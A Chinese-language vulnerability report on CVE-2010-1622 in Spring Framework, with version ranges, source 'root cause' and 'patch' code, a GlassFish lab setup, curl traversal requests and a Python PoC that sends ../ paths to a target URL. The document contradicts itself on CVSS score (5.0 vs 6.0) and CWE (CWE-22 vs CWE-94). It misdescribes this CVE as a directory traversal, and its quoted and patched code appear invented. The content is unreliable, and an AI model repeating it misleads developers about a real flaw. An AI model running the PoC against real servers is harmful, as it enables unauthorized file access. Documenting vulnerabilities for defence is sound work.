一、漏洞简介

1.1 漏洞背景

CVE-2010-1622 是 Spring Framework 中的一个严重漏洞,虽然不是 GlassFish 核心组件的漏洞,但由于 GlassFish 常用于部署 Spring 应用,且该漏洞影响范围广泛,故纳入本报告。

Spring Framework 是 Java 企业级开发中最流行的框架之一,大量部署在 GlassFish 上的应用使用 Spring MVC 作为 Web 层框架。在 Spring MVC 的 UrlFilenameViewController 控制器中存在目录遍历漏洞。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2010-1622
危害等级 MEDIUM / 6.0
漏洞类型 Spring Framework 目录遍历漏洞(影响 GlassFish 部署应用)
披露时间 2010-06-21
影响组件 GlassFish
属性 详情
CVE编号 CVE-2010-1622
危害等级 中危(Medium)
CVSS评分 5.0 (CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N)
漏洞类型 目录遍历(Directory Traversal)
CWE分类 CWE-22: Improper Limitation of a Pathname to a Restricted Directory
<hr />

补充核验信息:公开时间:2010-06-21;NVD 评分:6.0(MEDIUM);CWE:CWE-94。

二、影响范围

2.1 受影响的版本

  • Spring Framework 2.0.0 至 2.5.7
  • Spring Framework 3.0.0 至 3.0.1

2.2 不受影响的版本

  • Spring Framework 2.5.8 及以上
  • Spring Framework 3.0.2 及以上

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 应用使用 UrlFilenameViewController 控制器
  2. 应用部署在 GlassFish 或其他应用服务器上
  3. 攻击者可访问应用的 Web 端点
<hr />

三、漏洞详情与原理解析

3.1 漏洞触发机制

UrlFilenameViewController 是 Spring MVC 中的一个简单控制器,它将 URL 路径直接映射到视图名称。漏洞在于该控制器未对输入路径进行充分验证,允许攻击者使用 ../ 序列遍历目录。

攻击流程:

  1. 攻击者构造包含 ../ 的恶意 URL
  2. UrlFilenameViewController 解析 URL 路径
  3. 未经过滤的路径被传递给视图解析器
  4. 视图解析器可能加载预期目录之外的文件

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞代码(简化版):

// org.springframework.web.servlet.mvc.UrlFilenameViewController
public class UrlFilenameViewController extends AbstractUrlViewController {

    @Override
    protected String extractViewName(String urlPath) {
        // 直接从 URL 提取文件名,未进行安全检查
        int begin = urlPath.lastIndexOf('/');
        if (begin == -1) {
            begin = 0;
        } else {
            begin++;
        }
        int end = urlPath.length();

        // 移除扩展名
        int dotIndex = urlPath.lastIndexOf('.');
        if (dotIndex != -1 && dotIndex > begin) {
            end = dotIndex;
        }

        // 直接返回,未过滤 ../
        return urlPath.substring(begin, end);
    }
}

修复后的代码:

@Override
protected String extractViewName(String urlPath) {
    // 提取视图名
    String viewName = super.extractViewName(urlPath);

    // 安全检查:移除路径遍历字符
    if (viewName != null) {
        // 规范化路径
        viewName = viewName.replace("../", "");
        viewName = viewName.replace("..\\", "");

        // 确保不包含危险字符
        if (viewName.contains("..")) {
            return null; // 或抛出异常
        }
    }

    return viewName;
}
<hr />

四、漏洞复现(可选)

4.1 环境搭建

创建测试项目:

# 项目结构
spring-traversal-demo/
├── pom.xml
├── src/
│   └── main/
│       ├── java/
│          └── com/
│              └── example/
│                  └── controller/
│                      └── HomeController.java
│       ├── resources/
│          └── spring-servlet.xml
│       └── webapp/
│           └── WEB-INF/
│               ├── web.xml
│               └── views/
│                   ├── home.jsp
│                   └── secret/
│                       └── admin.jsp

pom.xml:

<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
         http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.example</groupId>
    <artifactId>spring-traversal-demo</artifactId>
    <version>1.0-SNAPSHOT</version>
    <packaging>war</packaging>

    <dependencies>
        <!-- 使用受影响版本 -->
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-webmvc</artifactId>
            <version>2.5.6</version>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>servlet-api</artifactId>
            <version>2.5</version>
            <scope>provided</scope>
        </dependency>
    </dependencies>
</project>

spring-servlet.xml(存在漏洞的配置):

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!-- 使用 UrlFilenameViewController -->
    <bean id="urlViewController"
          class="org.springframework.web.servlet.mvc.UrlFilenameViewController"/>

    <!-- 简单的 URL 映射 -->
    <bean class="org.springframework.web.servlet.handler.SimpleUrlHandlerMapping">
        <property name="mappings">
            <props>
                <prop key="/**">urlViewController</prop>
            </props>
        </property>
    </bean>

    <!-- 视图解析器 -->
    <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
        <property name="prefix" value="/WEB-INF/views/"/>
        <property name="suffix" value=".jsp"/>
    </bean>
</beans>

部署到 GlassFish:

# 构建项目
mvn clean package

# 部署到 GlassFish
cp target/spring-traversal-demo.war $GLASSFISH_HOME/domains/domain1/autodeploy/

4.2 PoC 演示与测试过程

正常访问:

# 访问 /WEB-INF/views/home.jsp
curl http://localhost:8080/spring-traversal-demo/home

漏洞利用 - 目录遍历:

# 尝试访问 /WEB-INF/views/secret/admin.jsp
curl http://localhost:8080/spring-traversal-demo/secret/admin

# 尝试遍历到上级目录
curl http://localhost:8080/spring-traversal-demo/../secret/admin

Python PoC 脚本:

#!/usr/bin/env python3
"""
Spring Framework CVE-2010-1622 目录遍历漏洞 PoC
"""

import requests
import sys

def exploit(base_url, traversal_depth, target_file):
    """
    测试目录遍历漏洞

    :param base_url: 应用基础 URL
    :param traversal_depth: 遍历深度
    :param target_file: 目标文件(不含扩展名)
    """

    # 构造遍历路径
    traversal = "../" * traversal_depth
    exploit_url = f"{base_url}/{traversal}{target_file}"

    print(f"[*] 测试 URL: {exploit_url}")

    try:
        response = requests.get(exploit_url, timeout=10)

        if response.status_code == 200:
            print("[+] 成功!响应内容:")
            print(response.text[:1000])
        else:
            print(f"[-] 失败,状态码: {response.status_code}")

    except Exception as e:
        print(f"[-] 错误: {e}")

def main():
    if len(sys.argv) < 3:
        print("用法: python exploit.py <目标URL> <目标文件>")
        print("示例: python exploit.py http://localhost:8080/app secret/admin")
        sys.exit(1)

    base_url = sys.argv[1]
    target_file = sys.argv[2]

    # 尝试不同的遍历深度
    for depth in range(1, 5):
        print(f"\n{'='*50}")
        print(f"[*] 遍历深度: {depth}")
        exploit(base_url, depth, target_file)

if __name__ == "__main__":
    main()
<hr />

五、修复建议与缓解措施

5.1 官方版本升级建议

立即升级 Spring Framework 到安全版本:

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-webmvc</artifactId>
    <version>3.0.2.RELEASE</version>  <!-- 或更高版本 -->
</dependency>

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案一:使用安全控制器

避免使用 UrlFilenameViewController,改用显式映射:

<!-- 使用 ParameterizableViewController -->
<bean id="homeController"
      class="org.springframework.web.servlet.mvc.ParameterizableViewController">
    <property name="viewName" value="home"/>
</bean>

<bean class="org.springframework.web.servlet.handler.SimpleUrlHandlerMapping">
    <property name="mappings">
        <props>
            <prop key="/home">homeController</prop>
            <!-- 显式定义每个路由 -->
        </props>
    </property>
</bean>

方案二:自定义控制器添加验证

@Controller
public class SafeViewController {

    @RequestMapping("/**")
    public String getView(HttpServletRequest request) {
        String path = request.getRequestURI();

        // 安全检查
        if (path.contains("..") || path.contains("%2e%2e")) {
            throw new SecurityException("Invalid path");
        }

        // 规范化并返回视图名
        return path.replaceAll("[^a-zA-Z0-9_-]", "");
    }
}
<hr />

六、参考信息 / 参考链接

6.1 官方安全通告

  • Spring Security Advisory: https://spring.io/security
  • CVE-2010-1622 Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1622

6.2 其他技术参考资料

  • Spring Framework Documentation: https://docs.spring.io/spring-framework/docs/current/reference/html/web.html
  • CWE-22 Path Traversal: https://cwe.mitre.org/data/definitions/22.html
  • OWASP Path Traversal Prevention: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html